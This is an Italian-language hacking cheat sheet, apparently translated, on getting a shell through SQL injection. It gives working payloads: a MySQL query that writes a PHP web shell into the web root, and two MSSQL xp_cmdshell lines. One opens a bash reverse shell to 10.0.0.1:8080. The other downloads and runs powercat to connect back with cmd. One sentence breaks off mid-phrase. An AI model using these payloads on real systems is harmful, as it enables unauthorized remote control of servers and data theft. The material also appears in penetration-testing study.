Ci sono diversi modi per ottenere shell. Ecco alcuni di loro. Il link in basso dovrebbe portarti a qualche eccellente cheat sheet per molti tipi di database come MSSQL, Oracle, MySQL e altro ancora.
Un buon consiglio per ottenere shell è avere questo reverse cheat sheet nel tuo tasca posteriore.
outfile
Se sai dove mettere la shell sul server (accessibile da qualche parte) puoi usare la seguente query (mysql) per creare ad esempio una shell php sul server web:
SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’
Trovare dove mettere la shell
Devi sapere dove si trova la directory del dominio. Imparare dove il database è in esecuzione può essere utile quindi una query di injection (mysql) come questa potrebbe forse dirti dell'architettura di directory:
SELECT @@datadir;
Potresti anche essere fortunato se provi a forzare qualsiasi messaggio di errore dal sistema per farlo sapere dove è in esecuzione. In genere questo approccio è il più semplice in quanto molti messaggi di errore sono molto
Uso delle funzioni di DB incorporate (xp_cmdshell)
MSSQL ha un modo relativamente semplice per chiamare le funzioni del sistema operativo usando la funzione incorporata xp_cmdshell. Non è così facile in MySQL (di solito richiede un file outfile o una stored procedure). Oracle è molto facile quanto consente l'esecuzione del codice Java.
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
L'istruzione sopra riportata crea una shell interattiva (-i) in ascolto alla porta 10.0.0.1 8080.
Modifica : ovviamente MSSQL con Bash è davvero improbabile. Non ci avevo pensato prima di vedere il commento. Invece della bash, si può invece eseguire uno script di PowerShell inverso, come questo:
EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd'
Powercat può essere scaricato da qui: link
Shell tramite stored procedure
Se è possibile concatenare query in un punto di iniezione, è molto probabile che si creino procedure nel database. Queste procedure funzionano come funzioni che è possibile chiamare con quries.
Vedi Comandi di shell da PL SQL per maggiori dettagli su questo.
Altre
Buona fonte di iniezione: pentest monkey